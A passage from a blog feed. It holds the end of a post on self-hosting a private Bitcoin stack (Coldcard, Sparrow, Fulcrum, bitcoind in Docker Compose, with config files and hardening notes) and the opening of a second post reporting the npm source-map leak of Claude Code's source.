<p><a href="https://www.sparrowwallet.com/features/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/bitcoin-sovereignty/sparrow-transactions.png" alt="Sparrow Wallet running, showing a detailed history of the wallet and transactions"  loading="lazy" /></a></p>
<p>What I like about it:</p>
<ul>
<li>works very well on Linux desktop</li>
<li>supports hardware wallets properly</li>
<li>understands PSBT without drama</li>
<li>makes it crystal clear what&rsquo;s happening in a transaction</li>
<li>it&rsquo;s great as a watch-only wallet</li>
</ul>
<p>In my flow, Sparrow does three things:</p>
<ol>
<li>Holds the watch-only wallet.</li>
<li>Builds the transaction with outputs and fees.</li>
<li>Receives the signature back from the Coldcard and broadcasts it.</li>
</ol>
<p>That separation is elegant. The desktop becomes the coordinator. The signer stays cold.</p>
<h2>Why Coldcard + Sparrow works so well<span class="hx:absolute hx:-mt-20" id="why-coldcard--sparrow-works-so-well"></span>
    <a href="#why-coldcard--sparrow-works-so-well" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This combo is good because each piece does what it does best:</p>
<ul>
<li>the Coldcard protects the key</li>
<li>Sparrow organizes the human use of the wallet</li>
<li>the server handles the infrastructure</li>
</ul>
<p>A lot of wallets try to do everything. I prefer this modular design. It&rsquo;s less &ldquo;magic,&rdquo; more explicit, and easier to reason about without lying to yourself.</p>
<p>If I&rsquo;m at the desktop, I want visibility. If I&rsquo;m at the signer, I want isolation. If I&rsquo;m at the server, I want validation and a local index. That division is clean.</p>
<h2>The Sparrow problem when you don&rsquo;t run your own infra<span class="hx:absolute hx:-mt-20" id="the-sparrow-problem-when-you-dont-run-your-own-infra"></span>
    <a href="#the-sparrow-problem-when-you-dont-run-your-own-infra" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now comes the important detail. Sparrow alone doesn&rsquo;t solve privacy.</p>
<p>If you install it, open it and just use public servers, the people on the other end learn quite a lot about your wallet: your address set, xpubs or derivations, balance, history, query behavior, broadcast. It&rsquo;s not custody, but it&rsquo;s still exposure.</p>
<p>That&rsquo;s the hole Fulcrum fills.</p>
<h2>Fulcrum: the home&rsquo;s private Electrum server<span class="hx:absolute hx:-mt-20" id="fulcrum-the-homes-private-electrum-server"></span>
    <a href="#fulcrum-the-homes-private-electrum-server" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://github.com/cculianu/Fulcrum"target="_blank" rel="noopener">Fulcrum</a> is an Electrum server. Instead of letting Sparrow ask things of a third-party public server, it asks my own server.</p>
<p>In practice, that means:</p>
<ul>
<li>local balance lookups</li>
<li>local history</li>
<li>local address discovery</li>
<li>local broadcast</li>
</ul>
<p>In other words: the desktop wallet stops &ldquo;phoning home&rdquo; to the world every time you open the program.</p>
<p>In my current setup, Sparrow points at a Fulcrum running on the home server on the LAN, with port <code>50001</code> on the internal network and <code>50002</code> with TLS.</p>
<h2>And why Fulcrum isn&rsquo;t enough on its own<span class="hx:absolute hx:-mt-20" id="and-why-fulcrum-isnt-enough-on-its-own"></span>
    <a href="#and-why-fulcrum-isnt-enough-on-its-own" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Because Fulcrum doesn&rsquo;t replace a full node. It indexes on top of a full node.</p>
<p>The thing actually validating blocks, consensus rules, scripts, transactions and the chain is <code>bitcoind</code>. Fulcrum sits in front of it as an indexing layer, because plain Bitcoin Core wasn&rsquo;t built to serve a desktop wallet with that kind of fast querying.</p>
<p>So the correct architecture is:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Coldcard (offline signer)
</span></span><span class="line"><span class="cl">        ^
</span></span><span class="line"><span class="cl">        | microSD / PSBT
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">Sparrow Wallet (desktop watch-only + coordinator)
</span></span><span class="line"><span class="cl">        |
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">Fulcrum (private Electrum server)
</span></span><span class="line"><span class="cl">        |
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">bitcoind (full node)</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>What I actually brought up on the home server<span class="hx:absolute hx:-mt-20" id="what-i-actually-brought-up-on-the-home-server"></span>
    <a href="#what-i-actually-brought-up-on-the-home-server" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On my home server, the stack lives in a dedicated Docker Compose folder and is made of two containers:</p>
<ul>
<li><code>bitcoin-bitcoind</code></li>
<li><code>bitcoin-fulcrum</code></li>
</ul>
<p>The compose is simple. And that&rsquo;s good. Sensitive infra doesn&rsquo;t gain anything by getting clever in YAML.</p>
<p>The main design is this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">bitcoin</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">lncm/bitcoind:v28.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">bitcoin-bitcoind</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">user</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;${BITCOIN_UID}:${BITCOIN_GID}&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/data:/data/.bitcoin</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;8333:8333&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">stop_grace_period</span><span class="p">:</span><span class="w"> </span><span class="l">5m</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">healthcheck</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">test</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;CMD&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;bitcoin-cli&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;-datadir=/data/.bitcoin&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;ping&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">interval</span><span class="p">:</span><span class="w"> </span><span class="l">30s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">timeout</span><span class="p">:</span><span class="w"> </span><span class="l">10s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">retries</span><span class="p">:</span><span class="w"> </span><span class="m">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">start_period</span><span class="p">:</span><span class="w"> </span><span class="l">60s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">fulcrum</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">cculianu/fulcrum:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">bitcoin-fulcrum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/fulcrum:/data</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/data:/bitcoin:ro</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;Fulcrum&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;/data/fulcrum.conf&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;50001:50001&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;50002:50002&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">bitcoin</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_healthy</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In my case, the restriction of <code>50001</code> to LAN happens at the host&rsquo;s network layer. The YAML above is the skeleton of the stack, not the entire firewall policy.</p>
<p>The most important parts of this:</p>
<ul>
<li><code>restart: always</code> because this is a long-running service</li>
<li>explicit volume so state isn&rsquo;t lost</li>
<li><code>user: &quot;${BITCOIN_UID}:${BITCOIN_GID}&quot;</code> because the persistent directory needs to match the storage&rsquo;s real ownership, so I&rsquo;d rather pin UID/GID explicitly than trust the image&rsquo;s default</li>
<li>the RPC isn&rsquo;t published on the host; it stays on the Compose internal network, which is all Fulcrum needs</li>
<li>the healthcheck uses Bitcoin Core&rsquo;s own local <code>.cookie</code>, so there&rsquo;s no need to spread a fixed password through commands</li>
<li>Fulcrum mounts the node&rsquo;s datadir as read-only just to authenticate via the <code>.cookie</code> without inventing parallel credentials</li>
<li>in <code>fulcrum.conf</code>, that becomes a simple configuration: talk to <code>bitcoin:8332</code> and read the mounted <code>.cookie</code>, instead of repeating credentials in plaintext</li>
<li><code>security_opt: label:disable</code> because on this host with MicroOS, SELinux and sensitive bind mounts, I preferred the pragmatic route of disarming this specific friction rather than wasting time fighting labels on a volume that&rsquo;s already being handled in a controlled way</li>
<li><code>depends_on</code> with <code>service_healthy</code> so Fulcrum only comes up after bitcoind&rsquo;s RPC is responding</li>
<li><code>stop_grace_period: 5m</code> because bitcoind needs real time to flush state on a graceful shutdown</li>
</ul>
<h2>The final version<span class="hx:absolute hx:-mt-20" id="the-final-version"></span>
    <a href="#the-final-version" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Today, the design I want to keep is this: <code>bitcoind</code> with <code>txindex</code>, <code>dbcache=1024</code>, persistent volume, 5-minute graceful stop, <code>.cookie</code> authentication, and Fulcrum in front serving Sparrow over LAN or TLS.</p>
<p>The current stack looks like this:</p>
<table>
  <thead>
      <tr>
          <th>Component</th>
          <th>State</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Bitcoin Core</td>
          <td><code>28.0</code></td>
      </tr>
      <tr>
          <td>Fulcrum</td>
          <td><code>2.1.0</code></td>
      </tr>
      <tr>
          <td>Container stop timeout</td>
          <td><code>300</code> seconds</td>
      </tr>
      <tr>
          <td>Node data dir</td>
          <td>dedicated persistent volume mounted at <code>/data/.bitcoin</code></td>
      </tr>
      <tr>
          <td>Network</td>
          <td><code>8333</code> for P2P, RPC only on the Compose internal network, <code>50001/50002</code> for the private Electrum</td>
      </tr>
  </tbody>
</table>
<p>I&rsquo;m not interested in turning this into a spectacle. The point is simpler: the final infrastructure has to be boring, predictable and stable.</p>
<h2>The tunings that actually matter<span class="hx:absolute hx:-mt-20" id="the-tunings-that-actually-matter"></span>
    <a href="#the-tunings-that-actually-matter" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s no magic here. There are a few parameters that make a real difference and a bunch of stuff that just decorates compose files.</p>
<p><code>stop_grace_period: 5m</code> exists because bitcoind isn&rsquo;t a disposable stateless API container. It maintains chainstate, indexes and an in-memory cache. If you don&rsquo;t give the process time to finish properly, you create unnecessary work for the next start.</p>
<p><code>user: &quot;${BITCOIN_UID}:${BITCOIN_GID}&quot;</code> is there for a much less glamorous and much more important reason: persistent storage with the wrong permissions is an excellent way to break a working service. So I&rsquo;d rather align the container with the volume&rsquo;s actual ownership instead of leaving that implicit.</p>
<p><code>dbcache=1024</code> is the spot I find most reasonable for a domestic node that&rsquo;s always on. Big enough not to suffer constant I/O, small enough that every restart isn&rsquo;t a labor.</p>
<p><code>txindex=1</code> I keep because I want the complete node, not a minimalist install just to claim &ldquo;it runs Bitcoin.&rdquo; If the goal here is operational autonomy, I&rsquo;d rather have the full index.</p>
<p><code>rpcworkqueue=512</code> and <code>rpcthreads=16</code> are the kind of tweak that makes sense when you know you&rsquo;ll have Fulcrum querying the node all day and you want some headroom.</p>
<p>On the Fulcrum side, the main parameters are:</p>
<ul>
<li><code>db_mem = 8192</code></li>
<li><code>db_max_open_files = -1</code></li>
<li><code>bitcoind_clients = 8</code></li>
<li><code>worker_threads = 0</code></li>
<li><code>peering = false</code></li>
</ul>
<p>Again: nothing esoteric. Just enough cache, reasonable parallelism and absolutely no announcing this server as a public service.</p>
<p>In my current <code>bitcoin.conf</code>, the important core ended up like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="na">server</span><span class="o">=</span><span class="s">1</span>
</span></span><span class="line"><span class="cl"><span class="na">txindex</span><span class="o">=</span><span class="s">1</span>
</span></span><span class="line"><span class="cl"><span class="na">prune</span><span class="o">=</span><span class="s">0</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcbind</span><span class="o">=</span><span class="s">0.0.0.0</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcallowip</span><span class="o">=</span><span class="s">172.0.0.0/8</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcthreads</span><span class="o">=</span><span class="s">16</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcworkqueue</span><span class="o">=</span><span class="s">512</span>
</span></span><span class="line"><span class="cl"><span class="na">dbcache</span><span class="o">=</span><span class="s">1024</span>
</span></span><span class="line"><span class="cl"><span class="na">maxmempool</span><span class="o">=</span><span class="s">512</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>All of this makes sense on a server with decent RAM and fast NVMe. But the detail that matters most is still the clean shutdown. Wallet infrastructure has no room for &ldquo;we&rsquo;ll deal with it later&rdquo; thinking.</p>
<h2>The actual size of all this<span class="hx:absolute hx:-mt-20" id="the-actual-size-of-all-this"></span>
    <a href="#the-actual-size-of-all-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is another point a lot of people underestimate.</p>
<p>If you look at older Bitcoin Core documentation, you&rsquo;ll find numbers like 350 GB of disk for a node with default config. That&rsquo;s outdated. More current data on the size of the blockchain points to something around <strong>725.82 GB on March 11, 2026</strong>, and that&rsquo;s just the raw chain, without the extra indexes that many technical folks will want to keep.</p>
<p>And here comes the catch: the stack I&rsquo;m describing isn&rsquo;t &ldquo;a bare Bitcoin Core just to claim you run a node.&rdquo; It&rsquo;s <code>bitcoind</code> with <code>txindex</code>, plus Fulcrum, plus headroom for rebuild, logs, snapshots and normal network growth.</p>
<p>So to put together something similar today, I&rsquo;d think like this:</p>
<ul>
<li>below 1 TB: I wouldn&rsquo;t even start</li>
<li>1 TB: pragmatic minimum</li>
<li>2 TB: comfortable range</li>
<li>above that: if you want long-term headroom, snapshots and less operational anxiety</li>
</ul>
<p>And here&rsquo;s the most important observation of all in self-hosting: don&rsquo;t assume persistence, mount and backup are right just because the YAML looks clean. Verify.</p>
<p>Another thing I wouldn&rsquo;t forget on a btrfs host: put Fulcrum&rsquo;s database (<code>fulc2_db</code>) on a separate subvolume. The reason is mundane. That directory grows, changes constantly and has nothing to do with generic automated snapshots of <code>/var</code>. If you mix everything, you end up dragging a large rebuildable index along with system snapshots, burning space and making maintenance more annoying than it needed to be. The Fulcrum index isn&rsquo;t sensitive configuration. It&rsquo;s heavy, volatile, rebuildable data. I treat it exactly like that.</p>
<h2>Hardening: what I&rsquo;ve already applied<span class="hx:absolute hx:-mt-20" id="hardening-what-ive-already-applied"></span>
    <a href="#hardening-what-ive-already-applied" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is where the difference between &ldquo;ran on my laptop&rdquo; and &ldquo;I&rsquo;d trust this to operate my wallet&rdquo; shows up.</p>
<p>In the current state of the stack, the points I consider important ended up like this:</p>
<ul>
<li>Bitcoin Core&rsquo;s RPC no longer relies on unnecessary host exposure; Fulcrum talks to <code>bitcoind</code> over the Docker internal network, which is what actually matters</li>
<li><code>50001</code> is restricted to internal LAN use</li>
<li><code>50002</code> is available with TLS, which is the right move when you need to leave plaintext behind</li>
<li>shutdown is graceful, with <code>stop_grace_period: 5m</code>, so <code>bitcoind</code> has time to flush state instead of dying any old way</li>
<li>the storage mount isn&rsquo;t on a &ldquo;we&rsquo;ll see later&rdquo; basis; there&rsquo;s a mount check before Docker comes up, precisely to avoid silent drift</li>
</ul>
<p>Each of those items exists for a very concrete reason.</p>
<p>Pulling the RPC off the host&rsquo;s surface reduces attack at zero cost. Fulcrum is already in the same Compose and can already talk to the service by its internal name. There&rsquo;s no real gain in leaving that port exposed where it doesn&rsquo;t need to be exposed.</p>
<p>Separating <code>50001</code> and <code>50002</code> also helps keep the house in order. Within a controlled LAN, plaintext is acceptable. Outside of that, the minimum reasonable thing is TLS. Mixing the two scenarios usually turns into a mess.</p>
<p><code>stop_grace_period: 5m</code> looks like a container detail, but it isn&rsquo;t. Anyone who&rsquo;s ever had a database, an index or a blockchain node killed without grace knows how that turns into hours of work later. A stateful service needs a decent stop.</p>
<p>And the mount check is one of those annoying things that saves you from yourself. The YAML can look beautiful. If the storage didn&rsquo;t mount and the service came up writing where it shouldn&rsquo;t, you&rsquo;ve just manufactured a really irritating problem.</p>
<p>There&rsquo;s also one detail I really like in this final version of the stack: Fulcrum authenticates to <code>bitcoind</code> through the <code>.cookie</code> file, not through a fixed plaintext password. That&rsquo;s interesting for two reasons:</p>
<ul>
<li>you don&rsquo;t need to leave a static credential showing up in compose, inspect, healthcheck or documentation</li>
<li>the authentication is more aligned with the way Bitcoin Core already knows how to operate locally</li>
</ul>
<p>In practical terms, that reduces accidental leakage of operational secrets. It&rsquo;s not a magic solution to everything, but it&rsquo;s much better than spreading <code>rpcuser</code> and <code>rpcpassword</code> across files, logs and commands.</p>
<p>The only kind of hardening I try to avoid here is the one that&rsquo;s overly performative in YAML and loose in operation. I&rsquo;d rather have less &ldquo;stage engineering&rdquo; and more basic discipline:</p>
<ul>
<li>minimum network</li>
<li>minimum secrets</li>
<li>minimum privilege</li>
<li>clean shutdown</li>
<li>verified storage</li>
<li>separate subvolume for large rebuildable data, like the Fulcrum index</li>
</ul>
<p>And, again, document everything. Good infrastructure isn&rsquo;t the kind that just works today. It&rsquo;s the kind that keeps working when you come back to it six months later.</p>
<h2>Why this improves transactions on your side<span class="hx:absolute hx:-mt-20" id="why-this-improves-transactions-on-your-side"></span>
    <a href="#why-this-improves-transactions-on-your-side" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When I build a transaction in Sparrow and sign it on the Coldcard, the chain of trust is much better defined:</p>
<ul>
<li>the private key never touches the internet</li>
<li>the desktop wallet doesn&rsquo;t have to trust a public server</li>
<li>the broadcast can come out of my own node</li>
<li>the address history doesn&rsquo;t need to land on a third-party Electrum server</li>
</ul>
<p>This doesn&rsquo;t make anything invulnerable. There&rsquo;s still a risk of malware on the desktop, badly stored seeds, human error, social engineering and physical disaster. But the design becomes much more coherent.</p>
<h2>What about Lightning? Especially in Brazil?<span class="hx:absolute hx:-mt-20" id="what-about-lightning-especially-in-brazil"></span>
    <a href="#what-about-lightning-especially-in-brazil" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There I separate things.</p>
<p>Reserves and larger-value transactions I treat one way. Day-to-day spending I treat another.</p>
<p>For day-to-day spending, especially in Brazil, I think it&rsquo;s operationally dumb to carry a lot of balance in a hot wallet. Lightning wallets and spending apps have to be almost like a &ldquo;pocket wallet&rdquo;: just enough for daily life.</p>
<p>That goes double if you use a hybrid or custodial solution like <a href="https://www.redotpay.com/"target="_blank" rel="noopener">RedotPay</a>. I get why it&rsquo;s interesting for Brazilians: a Hong Kong company, international focus, a reasonably practical bridge between crypto and card spending. For travel, online shopping and life outside the Brazilian banking axis, it makes sense. But I&rsquo;d never treat it as a place to store wealth. That&rsquo;s a spending tool, not a vault.</p>
<p>Same logic for <a href="https://www.bitrefill.com/br/pt/"target="_blank" rel="noopener">Bitrefill Brasil</a>. I think the service is interesting precisely because it solves a real pain in Brazil: turning sats into concrete utility without selling your full position or depending on banking integration all the time. Gift cards, top-ups, small expenses. As a use tool, it makes a lot of sense.</p>
<p>For a Lightning wallet on the phone, I&rsquo;d look at first:</p>
<ul>
<li><a href="https://phoenix.acinq.co/"target="_blank" rel="noopener">Phoenix</a> for people who want something very good and simple</li>
<li><a href="https://breez.technology/"target="_blank" rel="noopener">Breez</a> for people who want a great payments experience</li>
<li><a href="https://zeusln.com/"target="_blank" rel="noopener">ZEUS</a> if you&rsquo;re more technical and you eventually plan to operate your own Lightning node</li>
</ul>
<p>All of them, in my head, fit into the &ldquo;pocket wallet&rdquo; category. Small balance. Daily use. Don&rsquo;t turn a phone app into a retirement vault.</p>
<h2>Recent news that reinforces this reasoning<span class="hx:absolute hx:-mt-20" id="recent-news-that-reinforces-this-reasoning"></span>
    <a href="#recent-news-that-reinforces-this-reasoning" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;m not building this kind of stack because I think it&rsquo;s pretty. I&rsquo;m building it because outsourcing too much goes wrong too often.</p>
<p>Two recent examples:</p>
<ul>
<li>the <a href="https://www.cnbc.com/2025/02/21/hackers-steal-1point5-billion-from-exchange-bybit-biggest-crypto-heist.html"target="_blank" rel="noopener">Bybit hack in 2025</a> showed, again, the basic risk of leaving meaningful custody at an exchange</li>
<li>the <a href="https://techcrunch.com/2025/05/15/coinbase-says-customers-personal-information-stolen-in-data-breach/"target="_blank" rel="noopener">Coinbase customer data leak in 2025</a> showed the other side of the problem: even when custody isn&rsquo;t the immediate concern, your identity, balance and history become an attack surface</li>
</ul>
<p>A stack like Coldcard + Sparrow + Fulcrum + full node doesn&rsquo;t eliminate every risk in the world. But it avoids two very real classes of problem:</p>
<ul>
<li>losing custody sovereignty</li>
<li>handing over wallet and transaction privacy on a silver platter to third parties</li>
</ul>
<h2>So is it worth it?<span class="hx:absolute hx:-mt-20" id="so-is-it-worth-it"></span>
    <a href="#so-is-it-worth-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>For most people, honestly, probably not in the first month. It&rsquo;s labor-intensive, has a learning curve, and demands discipline.</p>
<p>But for programmers, engineers and any technical person who wants to learn not to depend on someone else&rsquo;s service all the time, I think it&rsquo;s an excellent exercise.</p>
<p>You learn about:</p>
<ul>
<li>separation of concerns</li>
<li>persistence and state</li>
<li>graceful shutdown</li>
<li>observability</li>
<li>secret isolation</li>
<li>the trade-off between convenience and security</li>
</ul>
<p>And all of that is valuable beyond Bitcoin.</p>
<p>In the end, that&rsquo;s what interests me most about this stack. It isn&rsquo;t about preaching &ldquo;hyperbitcoinization&rdquo; or posing as a price prophet. It&rsquo;s about building a system at home that I can trust more because I&rsquo;m the one who installed it, measured it, broke it, fixed it and documented it.</p>
<p>Is it work? Yes.</p>
<p>But that kind of work teaches exactly what modern software tries to make you forget: depending less on others is more work upfront, but it usually buys a lot more control in the long run.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>homelab</category><category>security</category></item><item><title>Claude Code's Source Code Leaked. Here's What We Found Inside.</title><link>https://akitaonrails.github.io/en/2026/03/31/claude-code-source-code-leaked-what-we-found-inside/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/03/31/claude-code-source-code-leaked-what-we-found-inside/</guid><pubDate>Tue, 31 Mar 2026 17:00:00 -0300</pubDate><description>&lt;blockquote&gt;
&lt;p&gt;Updated April 2, 2026: if you already read this yesterday, jump straight to the &lt;a href="#update-2026-04-02"&gt;new update section&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This morning (March 31, 2026), security researcher &lt;a href="https://x.com/Fried_rice"target="_blank" rel="noopener"&gt;Chaofan Shou&lt;/a&gt; discovered that the entire source code for Claude Code, Anthropic&amp;rsquo;s official CLI for AI coding, was sitting there for anyone to grab on the public npm registry. 512,000 lines of TypeScript. 1,900 files. All of it exposed through a 59.8 MB source map file accidentally bundled into version 2.1.88 of the &lt;code&gt;@anthropic-ai/claude-code&lt;/code&gt; package.&lt;/p&gt;</description><content:encoded><![CDATA[<blockquote>
  <p>Updated April 2, 2026: if you already read this yesterday, jump straight to the <a href="#update-2026-04-02">new update section</a>.</p>

</blockquote>
<p>This morning (March 31, 2026), security researcher <a href="https://x.com/Fried_rice"target="_blank" rel="noopener">Chaofan Shou</a> discovered that the entire source code for Claude Code, Anthropic&rsquo;s official CLI for AI coding, was sitting there for anyone to grab on the public npm registry. 512,000 lines of TypeScript. 1,900 files. All of it exposed through a 59.8 MB source map file accidentally bundled into version 2.1.88 of the <code>@anthropic-ai/claude-code</code> package.</p>
<p>Within hours the code had been mirrored on GitHub, picked apart by thousands of developers, and Anthropic had put out a statement calling it &ldquo;human error in release packaging, not a security breach.&rdquo; Which is technically true and ignores that the result is the same.</p>
<p><img src="https://raw.githubusercontent.com/kuberwastaken/claude-code/main/public/leak-tweet.png" alt="Tweet announcing the leak"  loading="lazy" /></p>
<p>I use Claude Code every day. Some of the articles you read here, I wrote with it. So I figured I&rsquo;d take a look at what&rsquo;s inside. I actually started writing this piece in Claude Code itself, but my Max plan ran out before I finished. I closed the rest in Codex.</p>
<h2>How the leak happened<span class="hx:absolute hx:-mt-20" id="how-the-leak-happened"></span>
